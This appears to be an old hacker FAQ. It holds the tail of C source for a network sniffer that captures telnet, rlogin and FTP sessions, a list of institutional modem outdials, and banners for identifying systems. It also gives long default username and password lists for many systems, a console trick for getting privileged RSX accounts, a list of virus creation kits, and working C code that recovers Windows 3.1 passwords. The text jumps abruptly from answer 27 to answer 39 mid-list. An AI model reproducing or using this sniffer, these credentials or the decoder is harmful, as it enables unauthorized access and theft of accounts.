if(!( (TCPD == IPPORT_TELNET) ||
(TCPD == IPPORT_LOGINSERVER) ||
(TCPD == IPPORT_FTP)
)) return;
{ register struct CREC *CLm;
register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
register u_char *p = (u_char *)Packet;
p += ((IPHLEN * 4) + (TCPOFF * 4));
if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}
if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
CLm->PKcnt++;
if(length>0)
if( (CLm->Length + length) < MAXBUFLEN ) {
ADDDATA_NODE( CLm, p,length);
} else {
END_NODE( CLm, p,length, "DATA LIMIT");
}
if(TCPFL(TH_FIN|TH_RST)) {
END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
}
} else {
if(TCPFL(TH_SYN)) {
ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
}
}
IDLE_NODE();
}
}
/* signal handler
*/
void death()
{ register struct CREC *CLe;
while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
fflush(LOG);
if(LOG != stdout)
fclose(LOG);
exit(1);
}
/* opens network interface, performs ioctls and reads from it,
* passing data to filter function
*/
void do_it()
{
int cc;
char *buf;
u_short sp_ts_len;
if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");
/* this /dev/nit initialization code pinched from etherfind */
{
struct strioctl si;
struct ifreq ifr;
struct timeval timeout;
u_int chunksize = CHUNKSIZE;
u_long if_flags = NI_PROMISC;
if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
Pexit(1,"Eth: nit open");
if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
Pexit(1,"Eth: ioctl (I_SRDOPT)");
si.ic_timout = INFTIM;
if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char *)&timeout;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char *)𝔦
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp = (char *)&if_flags;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
Pexit(1,"Eth: ioctl (I_FLUSH)");
}
while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
register char *bp = buf,
*bufstop = (buf + cc);
while (bp < bufstop) {
register char *cp = bp;
register struct nit_bufhdr *hdrp;
hdrp = (struct nit_bufhdr *)cp;
cp += sizeof(struct nit_bufhdr);
bp += hdrp->nhb_totlen;
filter(cp, (u_long)hdrp->nhb_msglen);
}
}
Pexit((-1),"Eth: read");
}
/* Authorize your program, generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */
void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];
strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP? ",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{
char cbuf[BUFSIZ];
struct ifconf ifc;
int s,
ac=1,
backg=0;
ProgName=argv[0];
/* getauth(); */
LOG=NULL;
device=NULL;
while((ac<argc) && (argv[ac][0] == '-')) {
register char ch = argv[ac++][1];
switch(toupper(ch)) {
case 'I': device=argv[ac++];
break;
case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
Zexit(1,"Output file cant be opened\n");
break;
case 'B': backg=1;
break;
case 'D': debug=1;
break;
default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f file]\n",
ProgName);
exit(1);
}
}
if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
Pexit(1,"Eth: socket");
ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
Pexit(1,"Eth: ioctl");
close(s);
device = ifc.ifc_req->ifr_name;
}
fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
if(!LOG)
LOG=stdout;
signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);
if(backg && debug) {
fprintf(ERR,"[Cannot bg with debug on]\n");
backg=0;
}
if(backg) {
register int s;
if((s=fork())>0) {
fprintf(ERR,"[pid %d]\n",s);
exit(0);
} else if(s<0)
Pexit(1,"fork");
if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
fflush(LOG);
do_it();
}
20. What is an Internet Outdial?
An Internet outdial is a modem connected to the Internet than you can
use to dial out. Normal outdials will only call local numbers. A GOD
(Global OutDial) is capable of calling long distance. Outdials are an
inexpensive method of calling long distance BBS's.
21. What are some Internet Outdials?
This FAQ answer is excerpted from CoTNo #5:
Internet Outdial List v3.0
by Cavalier and DisordeR
Introduction
------------
There are several lists of Internet outdials floating around the net these
days. The following is a compilation of other lists, as well as v2.0 by
DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author
just ripped other people and released it, we have sat down and tested
each one of these. Some of them we have gotten "Connection Refused" or
it timed out while trying to connect...these have been labeled dead.
Working Outdials
----------------
as of 12/29/94
NPA IP Address Instructions
--- ---------- ------------
215 isn.upenn.edu modem
217 dialout.cecer.army.mil atdt x,xxxXXXXX
218 modem.d.umn.edu atdt9,xxxXXXX
303 yuma.acns.colostate.edu 3020
412 myriad.pc.cc.cmu.edu 2600 Press D at the prompt
412 gate.cis.pitt.edu tn3270,
connect dialout.pitt.edu,
atdtxxxXXXX
413 dialout2400.smith.edu Ctrl } gets ENTER NUMBER: xxxxxxx
502 outdial.louisville.edu
502 uknet.uky.edu connect kecnet
@ dial: "outdial2400 or out"
602 acssdial.inre.asu.edu atdt8,,,,,[x][yyy]xxxyyyy
614 ns2400.acs.ohio-state.edu
614 ns9600.acs.ohio-state.edu
713 128.249.27.153 atdt x,xxxXXXX
714 modem.nts.uci.edu atdt[area]0[phone]
804 ublan.virginia.edu connect hayes, 9,,xxx-xxxx
804 ublan2.acc.virginia.edu connect telnet
connect hayes
Need Password
-------------
206 rexair.cac.washington.edu This is an unbroken password
303 yuma.ACNS.ColoState.EDU login: modem
404 128.140.1.239 .modem8|CR
415 annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1"
514 cartier.CC.UMontreal.CA externe,9+number
703 wal-3000.cns.vt.edu dial2400 -aa
Dead/No Connect
---------------
201 idsnet
202 modem.aidt.edu
204 dial.cc.umanitoba.ca
204 umnet.cc.manitoba.ca "dial12" or "dial24"
206 dialout24.cac.washington.edu
207 modem-o.caps.maine.edu
212 B719-7e.NYU.EDU dial3/dial12/dial24
212 B719-7f.NYU.EDU dial3/dial12/dial24
212 DIALOUT-1.NYU.EDU dial3/dial12/dial24
212 FREE-138-229.NYU.EDU dial3/dial12/dial24
212 UP19-4b.NYU.EDU dial3/dial12/dial24
215 wiseowl.ocis.temple.edu "atz" "atdt 9xxxyyyy"
218 aa28.d.umn.edu "cli" "rlogin modem"
at "login:" type "modem"
218 modem.d.umn.edu Hayes 9,XXX-XXXX
301 dial9600.umd.edu
305 alcat.library.nova.edu
305 office.cis.ufl.edu
307 modem.uwyo.edu Hayes 0,XXX-XXXX
313 35.1.1.6 dial2400-aa or dial1200-aa
or dialout
402 dialin.creighton.edu
402 modem.criegthon.edu
404 broadband.cc.emory.edu ".modem8" or ".dialout"
408 dialout.scu.edu
408 dialout1200.scu.edu
408 dialout2400.scu.edu
408 dialout9600.scu.edu
413 dialout.smith.edu
414 modems.uwp.edu
416 annex132.berkely.edu atdt 9,,,,, xxx-xxxx
416 pacx.utcs.utoronto.ca modem
503 dialout.uvm.edu
513 dialout24.afit.af.mil
513 r596adi1.uc.edu
514 pacx.CC.UMontreal.CA externe#9 9xxx-xxxx
517 engdial.cl.msu.edu
602 dial9600.telcom.arizona.edu
603 dialout1200.unh.edu
604 dial24-nc00.net.ubc.ca
604 dial24-nc01.net.ubc.ca
604 dial96-np65.net.ubc.ca
604 gmodem.capcollege.bc.ca
604 hmodem.capcollege.bc.ca
609 128.119.131.11X (X= 1 - 4) Hayes
609 129.119.131.11x (x = 1 to 4)
609 wright-modem-1.rutgers.edu
609 wright-modem-2.rutgers.edu
612 modem_out12e7.atk.com
612 modem_out24n8.atk.com
614 ns2400.ircc.ohio-state.edu "dial"
615 dca.utk.edu dial2400 D 99k #
615 MATHSUN23.MATH.UTK.EDU dial 2400 d 99Kxxxxxxx
616 modem.calvin.edu
617 128.52.30.3 2400baud
617 dialout.lcs.mit.edu
617 dialout1.princeton.edu
617 isdn3.Princeton.EDU
617 jadwingymkip0.Princeton.EDU
617 lord-stanley.Princeton.EDU
617 mpanus.Princeton.EDU
617 mrmodem.wellesley.edu
617 old-dialout.Princeton.EDU
617 stagger.Princeton.EDU
617 sunshine-02.lcs.mit.edu
617 waddle.Princeton.EDU
619 128.54.30.1 atdt [area][phone]
619 dialin.ucsd.edu "dialout"
703 modem_pool.runet.edu
703 wal-3000.cns.vt.edu
713 128.249.27.154 "c modem96" "atdt 9xxx-xxxx"
or "Hayes"
713 modem12.bcm.tmc.edu
713 modem24.bcm.tmc.edu
713 modem24.bcm.tmc.edu
714 mdmsrv7.sdsu.edu atdt 8xxx-xxxx
714 modem24.nts.uci.edu
714 pub-gopher.cwis.uci.edu
801 dswitch.byu.edu "C Modem"
808 irmodem.ifa.hawaii.edu
902 star.ccs.tuns.ca "dialout"
916 129.137.33.72
916 cc-dnet.ucdavis.edu connect hayes/dialout
916 engr-dnet1.engr.ucdavis.edu UCDNET <ret> C KEYCLUB <ret>
??? 128.119.131.11X (1 - 4)
??? 128.200.142.5
??? 128.54.30.1 nue, X to discontinue, ? for Help
??? 128.6.1.41
??? 128.6.1.42
??? 129.137.33.72
??? 129.180.1.57
??? 140.112.3.2 ntu <none>
??? annexdial.rz.uni-duesseldorf.de
??? dial96.ncl.ac.uk
??? dialout.plk.af.mil
??? ee21.ee.ncu.edu.tw cs8005
??? im.mgt.ncu.edu.tw guest <none>
??? modem.cis.uflu.edu
??? modem.ireq.hydro.qc.ca
??? modems.csuohio.edu
??? sparc20.ncu.edu.tw u349633
??? sun2cc.nccu.edu.tw ?
??? ts-modem.une.oz.au
??? twncu865.ncu.edu.tw guest <none>
??? vtnet1.cns.ut.edu "CALL" or "call"
Conclusion
----------
If you find any of the outdials to have gone dead, changed commands,
or require password, please let us know so we can keep this list as
accurate as possible. If you would like to add to the list, feel free
to mail us and it will be included in future versions of this list,
with your name beside it. Have fun...
[Editors note: Updates have been made to this document after
the original publication]
22. What is this system?
AIX
~~~
IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.
login:
[You will know an AIX system because it is the only Unix system that]
[clears the screen and issues a login prompt near the bottom of the]
[screen]
AS/400
~~~~~~
UserID?
Password?
Once in, type GO MAIN
CDC Cyber
~~~~~~~~~
WELCOME TO THE NOS SOFTWARE SYSTEM.
COPYRIGHT CONTROL DATA 1978, 1987.
88/02/16. 02.36.53. N265100
CSUS CYBER 170-730. NOS 2.5.2-678/3.
FAMILY:
You would normally just hit return at the family prompt. Next prompt is:
USER NAME:
CISCO Router
~~~~~~~~~~~~
FIRST BANK OF TNO
95-866 TNO VirtualBank
REMOTE Router - TN043R1
Console Port
SN - 00000866
TN043R1>
DECserver
~~~~~~~~~
DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
DPS502-DS700
(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved
Please type HELP if you need assistance
Enter username> TNO
Local>
Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
MPE XL:
EXPECTED A :HELLO COMMAND. (CIERR 6057)
MPE XL:
EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424)
MPE XL:
GTN
~~~
WELCOME TO CITIBANK. PLEASE SIGN ON.
XXXXXXXX
@
PASSWORD =
@
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
PLEASE ENTER YOUR ID:-1->
PLEASE ENTER YOUR PASSWORD:-2->
CITICORP (CITY NAME). KEY GHELP FOR HELP.
XXX.XXX
PLEASE SELECT SERVICE REQUIRED.-3->
Lantronix Terminal Server
~~~~~~~~~~~~~~~~~~~~~~~~~
Lantronix ETS16 Version V3.1/1(940623)
Type HELP at the 'Local_15> ' prompt for assistance.
Login password>
Meridian Mail (Northern Telecom Phone/Voice Mail System)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MMM MMMERIDIAN
MMMMM MMMMM
MMMMMM MMMMMM
MMM MMMMM MMM MMMMM MMMMM
MMM MMM MMM MMMMMM MMMMMM
MMM MMM MMM MMM MMM MMM
MMM MMM MMM MMMMM MMM
MMM MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
Copyright (c) Northern Telecom, 1991
Novell ONLAN
~~~~~~~~~~~~
<Control-A aka smiley face>N
[To access the systems it is best to own a copy of ONLAN/PC]
PC-Anywhere
~~~~~~~~~~~
<Control-A aka smiley face>P
[To access the systems it is best to own a copy of PCAnywhere Remote]
PRIMOS
~~~~~~
PRIMENET 19.2.7F PPOA1
<any text>
ER!
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
CONNECT
Primenet V 2.3 (system)
LOGIN (you)
User id? (system)
SAPB5 (you)
Password? (system)
DROWSAP (you)
OK, (system)
ROLM CBX II
~~~~~~~~~~~
ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568
BIND DATE: 7/APR/93
COPYRIGHT 1980, 1993 ROLM COMPANY. ALL RIGHTS RESERVED.
ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY.
YOU HAVE ENTERED CPU 1
12:38:47 ON WEDNESDAY 2/15/1995
USERNAME: op
PASSWORD:
INVALID USERNAME-PASSWORD PAIR
ROLM-OSL
~~~~~~~~
MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47
RELEASE 8003
OSL, PLEASE.
?
System75
~~~~~~~~
Login: root
INCORRECT LOGIN
Login: browse
Password:
Software Version: G3s.b16.2.2
Terminal Type (513, 4410, 4425): [513]
Tops-10
~~~~~~~
NIH Timesharing
NIH Tri-SMP 7.02-FF 16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN
.
VM/370
~~~~~~
VM/370
!
VM/ESA
~~~~~~
VM/ESA ONLINE
TBVM2 VM/ESA Rel 1.1 PUT 9200
Fill in your USERID and PASSWORD and press ENTER
(Your password will not appear when you type it)
USERID ===>
PASSWORD ===>
COMMAND ===>
Xylogics Annex Communications Server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc.
Checking authorization, Please wait... -
Annex username: TNO - Optional security check
Annex password: - Not always present
Permission granted
annex:
23. What are the default accounts for XXX?
AIX
~~~
guest guest
AS/400
~~~~~~
qsecofr qsecofr /* master security officer */
qsysopr qsysopr /* system operator */
qpgmr qpgmr /* default programmer */
also
ibm password
ibm 2222
ibm service
qsecofr 1111111
qsecofr 2222222
qserv qserv
qsvr qsvr
secofr secofr
qsrv ibmce1
DECserver
~~~~~~~~~
ACCESS
SYSTEM
Dynix (The library software, not the UnixOS)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(Type 'later' to exit to the login prompt)
setup <no password>
library <no password>
circ <Social Security Number>
Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
HELLO MANAGER.SYS
HELLO MGR.SYS
HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP
HELLO OP.OPERATOR
MGR CAROLIAN
MGR CCC
MGR CNAS
MGR CONV
MGR COGNOS
OPERATOR COGNOS
MANAGER COGNOS
OPERATOR DISC
MGR HPDESK
MGR HPWORD
FIELD HPWORD
MGR HPOFFICE
SPOOLMAN HPOFFICE
ADVMAIL HPOFFICE
MAIL HPOFFICE
WP HPOFFICE
MANAGER HPOFFICE
MGR HPONLY
FIELD HPP187
MGR HPP187
MGR HPP189
MGR HPP196
MGR INTX3
MGR ITF3000
MANAGER ITF3000
MAIL MAIL
MGR NETBASE
MGR REGO
MGR RJE
MGR ROBELLE
MANAGER SECURITY
MGR SECURITY
FIELD SERVICE
MANAGER SYS
MGR SYS
PCUSER SYS
RSBCMON SYS
OPERATOR SYS
OPERATOR SYSTEM
FIELD SUPPORT
OPERATOR SUPPORT
MANAGER TCH
MAIL TELESUP
MANAGER TELESUP
MGR TELESUP
SYS TELESUP
MGE VESOFT
MGE VESOFT
MGR WORD
MGR XLSERVER
Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote
Major BBS
~~~~~~~~~
Sysop Sysop
Mitel PBX
~~~~~~~~~
SYSTEM
NeXTSTEP
~~~~~~~~
root NeXT
signa signa
me <null> (Rumored to be correct, not checked)
Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
fax <no password>
PICK O/S
~~~~~~~~
DSA # Desquetop System Administrator
DS
DESQUETOP
PHANTOM
Prolog
~~~~~~
PBX PBX
NETWORK NETWORK
NETOP <null>
Radio Shack Screen Savers
~~~~~~~~~~~~~~~~~~~~~~~~~
RS<STORE_ID_NUMBER>
Rolm
~~~~
CBX Defaults
op op
op operator
su super
admin pwp
eng engineer
PhoneMail Defaults
sysadmin sysadmin
tech tech
poll tech
RSX
~~~
SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM)
1,1/system (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER
Default accounts for Micro/RSX:
MICRO/RSX
Alternately you can hit <CTRL-Z> when the boot sequence asks you for the
date and create an account using:
RUN ACNT
or RUN $ACNT
(Numbers below 10 {oct} are privileged)
Reboot and wait for the date/time question. Type ^C and at the MCR prompt,
type "abo at." You must include the . dot!
If this works, type "acs lb0:/blks=1000" to get some swap space so the
new step won't wedge.
type " run $acnt" and change the password of any account with a group
number of 7 or less.
You may find that the ^C does not work. Try ^Z and ESC as well.
Also try all 3 as terminators to valid and invalid times.
If none of the above work, use the halt switch to halt the system,
just after a invalid date-time. Look for a user mode PSW 1[4-7]xxxx.
then deposit 177777 into R6, cross your fingers, write protect the drive
and continue the system. This will hopefully result in indirect blowing
up... And hopefully the system has not been fully secured.
SGI Irix
~~~~~~~~
4DGifts <no password>
guest <no password>
demos <no password>
lp <no password>
nuucp <no password>
tour <no password>
tutor <no password>
System 75
~~~~~~~~~
bcim bcimpw
bciim bciimpw
bcms bcmspw, bcms
bcnas bcnspw
blue bluepw
browse looker, browsepw
craft crftpw, craftpw, crack
cust custpw
enquiry enquirypw
field support
inads indspw, inadspw, inads
init initpw
kraft kraftpw
locate locatepw
maint maintpw, rwmaint
nms nmspw
rcust rcustpw
support supportpw
tech field
Taco Bell
~~~~~~~~~
rgm rollout
tacobell <null>
Verifone Junior 2.05
~~~~~~~~~~~~~~~~~~~~
Default password: 166816
VMS
~~~
field service
systest utep
XON / XON Junior
~~~~~~~~~~~~~~~~
Default password: 166831
24. What port is XXX on?
The file /etc/services on most Unix machines lists the port
assignments for that machine. For a complete list of port
assignments, read RFC (Request For Comments) 1700 "Assigned Numbers"
25. What is a trojan/worm/virus/logic bomb?
This FAQ answer was written by Theora:
Trojan:
Remember the Trojan Horse? Bad guys hid inside it until they could
get into the city to do their evil deed. A trojan computer program is
similar. It is a program which does an unauthorized function, hidden
inside an authorized program. It does something other than what it
claims to do, usually something malicious (although not necessarily!),
and it is intended by the author to do whatever it does. If it's not
intentional, its called a 'bug' or, in some cases, a feature :) Some
virus scanning programs detect some trojans. Some virus scanning
programs don't detect any trojans. No virus scanners detect all
trojans.
Virus:
A virus is an independent program which reproduces itself. It may
attach to other programs, it may create copies of itself (as in
companion viruses). It may damage or corrupt data, change data, or
degrade the performance of your system by utilizing resources such as
memory or disk space. Some virus scanners detect some viruses. No
virus scanners detect all viruses. No virus scanner can protect
against "any and all viruses, known and unknown, now and forevermore".
Worm:
Made famous by Robert Morris, Jr. , worms are programs which reproduce
by copying themselves over and over, system to system, using up
resources and sometimes slowing down the systems. They are self
contained and use the networks to spread, in much the same way viruses
use files to spread. Some people say the solution to viruses and
worms is to just not have any files or networks. They are probably
correct. We would include computers.
Logic Bomb:
Code which will trigger a particular form of 'attack' when a
designated condition is met. For instance, a logic bomb could delete
all files on Dec. 5th. Unlike a virus, a logic bomb does not make
copies of itself.
26. How can I protect myself from viruses and such?
This FAQ answer was written by Theora:
The most common viruses are boot sector infectors. You can help protect
yourself against those by write protecting all disks which you do not
need write access to. Definitely keep a set of write protected floppy
system disks. If you get a virus, it will make things much simpler.
And, they are good for coasters. Only kidding.
Scan all incoming files with a recent copy of a good virus scanner.
Among the best are F-Prot, Dr. Solomon's Anti-virus Toolkit, and
Thunderbyte Anti-Virus. AVP is also a good program. Using more than
one scanner could be helpful. You may get those one or two viruses that
the other guy happened to miss this month.
New viruses come out at the rate of about 8 per day now. NO scanner can
keep up with them all, but the four mentioned here do the best job of
keeping current. Any _good_ scanner will detect the majority of common
viruses. No virus scanner will detect all viruses.
Right now there are about 5600 known viruses. New ones are written all
the time. If you use a scanner for virus detection, you need to make
sure you get frequent updates. If you rely on behavior blockers, you
should know that such programs can be bypassed easily by a technique
known as tunnelling.
You may want to use integrity checkers as well as scanners. Keep in
mind that while these can supply added protection, they are not
foolproof.
You may want to use a particular kind of scanner, called resident
scanners. Those are programs which stay resident in the computer memory
and constantly monitor program execution (and sometimes even access to
the files containing programs). If you try to execute a program, the
resident scanner receives control and scans it first for known viruses.
Only if no such viruses are found, the program is allowed to execute.
Most virus scanners will not protect you against many kinds of trojans,
any sort of logic bombs, or worms. Theoretically, they _could_ protect
you against logic bombs and/or worms, by addition of scanning strings;
however, this is rarely done.
The best, actually only way, to protect yourself is to know what you
have on your system and make sure what you have there is authorized by
you. Make frequent backups of all important files. Keep your DOS
system files write protected. Write protect all disks that you do not
need to write to. If you do get a virus, don't panic. Call the support
department of the company who supplies your anti-virus product if you
aren't sure of what you are doing. If the company you got your
anti-virus software from does not have a good technical support
department, change companies.
The best way to make sure viruses are not spread is not to spread them.
Some people do this intentionally. We discourage this. Viruses aren't
cool.
27. Where can I get more information about viruses?
This FAQ answer was written by Theora:
Assembly language programming books illustrate the (boring) aspect of
replication and have for a long time. The most exciting/interesting
thing about viruses is all the controversy around them. Free speech,
legality, and cute payloads are a lot more interesting than "find first,
find next" calls. You can get information about the technical aspects
of viruses, as well as help if you should happen to get a virus, from
the virus-l FAQ, posted on comp. virus every so often. You can also pick
up on the various debates there. There are alt.virus type newsgroups,
but the level of technical expertise is minimal, and so far at least
there has not been a lot of real "help" for people who want to get -rid-
of a virus.
There are a lot of virus experts. To become one, just call yourself
one. Only Kidding. Understanding viruses involves understanding
Sphere Hacker 1.40 & 1.41 theozone
Virus Creation 2000 high level
Virus Construction Lab Chiba City
Ejecutor Virus Creator EJECUTOR
Biological Warfare v0.90 lo tek
Biological Warfare v1.00 freak
39. Is there any hope of a decompiler that would convert an executable
program into C/C++ code?
This FAQ answer is an excerpt from SNIPPETS by Bob Stout.
Don't hold your breath. Think about it... For a decompiler to work
properly, either 1) every compiler would have to generate substantially
identical code, even with full optimization turned on, or 2) it would
have to recognize the individual output of every compiler's code
generator.
If the first case were to be correct, there would be no more need for
compiler benchmarks since every one would work the same. For the second
case to be true would require in immensely complex program that had to
change with every new compiler release.
OK, so what about specific decompilers for specific compilers - say a
decompiler designed to only work on code generated by, say, BC++ 4.5?
This gets us right back to the optimization issue. Code written for
clarity and understandability is often inefficient. Code written for
maximum performance (speed or size) is often cryptic (at best!) Add to
this the fact that all modern compilers have a multitude of optimization
switches to control which optimization techniques to enable and which to
avoid. The bottom line is that, for a reasonably large, complex source
module, you can get the compiler to produce a number of different object
modules simply by changing your optimization switches, so your
decompiler will also have to be a deoptimizer which can automagically
recognize which optimization strategies were enabled at compile time.
OK, let's simplify further and specify that you only want to support one
specific compiler and you want to decompile to the most logical source
code without trying to interpret the optimization. What then? A good
optimizer can and will substantially rewrite the internals of your code,
so what you get out of your decompiler will be, not only cryptic, but in
many cases, riddled with goto statements and other no-no's of good
coding practice. At this point, you have decompiled source, but what
good is it?
Also note carefully my reference to source modules. One characteristic
of C is that it becomes largely unreadable unless broken into easily
maintainable source modules (.C files). How will the decompiler deal
with that? It could either try to decompile the whole program into some
mammoth main() function, losing all modularity, or it could try to place
each called function into its own file. The first way would generate
unusable chaos and the second would run into problems where the original
source hade files with multiple functions using static data and/or one
or more functions calling one or more static functions. A decompiler
could make static data and/or functions global but only at the expense
or readability (which would already be unacceptable).
Finally, remember that commercial applications often code the most
difficult or time-critical functions in assembler which could prove
almost impossible to decompile into a C equivalent.
Like I said, don't hold your breath. As technology improves to where
decompilers may become more feasible, optimizers and languages (C++, for
example, would be a significantly tougher language to decompile than C)
also conspire to make them less likely.
For years Unix applications have been distributed in shrouded source
form (machine but not human readable -- all comments and whitespace
removed, variables names all in the form OOIIOIOI, etc.), which has been
a quite adequate means of protecting the author's rights. It's very
unlikely that decompiler output would even be as readable as shrouded
source.
40. How does the MS-Windows password encryption work?
This FAQ answer was written by Wayne Hoxsie <hoxsiew@crl.com>
The password option in MS Win 3.1 is easily defeated, but there are
those of us who really want to know how MS does this. There are many
reasons why knowing the actual password can be useful. Suppose a
sysamin used the same password in the windows screen saver as his root
account on a unix box.
Anyway, I will attempt to relay what I have learned about this algorithm.
I will describe the process starting after you've entered the password
and hit the [OK] button.
I will make the assumtion that everyone (at least those interested) know
what the XOR operation is.
First, the length of the password is saved. We'll call this 'len'. We
will be moving characters from the entered string into another string as
they are encrypted. We'll call the originally entered password
'plaintext' and the encrypted string(strings--there are two passes)
'hash1' and 'hash2.' The position in the plaintext is important during
the process so we'll refer to this as 'pos.' After each step of the
hashing process, the character is checked against a set of characters
that windows considers 'special.' These characters are '[ ] =' and any
character below ASCII 33 or above ASCII 126. I'll refer to this
checking operation as 'is_ok.' All indecies are zero-based (i.e. an 8
character password is considered chars 0 to 7).
Now, the first character of 'plaintext' is xor'd with 'len' then fed to
'is_ok'. if the character is not valid, it is replaced by the original
character of 'plaintext' before going to the next operation. The next
operation is to xor with 'pos' (this is useless for the first operation
since 'len' is 0 and anything xor'd with zero is itself) then fed to
'is_ok' and replaced with the original if not valid. The final
operation (per character) is to xor it with the previous character of
'plaintext'. Since there is no previous character, the fixed value, 42,
is used on the first character of 'plaintext'. This is then fed to
'is_ok' and if OK, it is stored into the first position of 'hash1' This
process proceeds until all characters of plaintext are exhausted.
The second pass is very similar, only now, the starting point is the
last character in hash1 and the results are placed into hash2 from the
end to the beginning. Also, instead of using the previous character in
the final xoring, the character following the current character is used.
Since there is no character following the last character in hash1, the
value, 42 is again used for the last character.
'hash2' is the final string and this is what windows saves in the file
CONTROL.INI.
To 'decrypt' the password, the above procedure is just reversed.
Now, what you've all been waiting for. Here is some C code that will do
the dirty work for you:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int xor1(int i,int j)
{
int x;
x=i^j;
return (x>126||x<33||x==91||x==93||x==61)?i:x;
}
void main()
{
FILE *f;
int i,l;
char s[80],s1[80];
printf("Please enter the path to your Windows directory\n");
gets(s1);
sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\");
if((f=fopen(s,"rt"))==NULL){
printf("File Error : %s\n",sys_errlist[errno]);
exit(0);
}
while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f));
fclose(f);
strtok(s1,"=\n");
strcpy(s,strtok(NULL,"\n"));
i=strlen(s)-1;
for(l=i;l>-1;l--)
s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1);
for(l=0;l<i+1;l++)
s[l]=xor1(xor1(xor1(s1[l],l?s1[l-1]:42),l?l:0),i+1);
printf("The Password is: %s\n",s);
}
--
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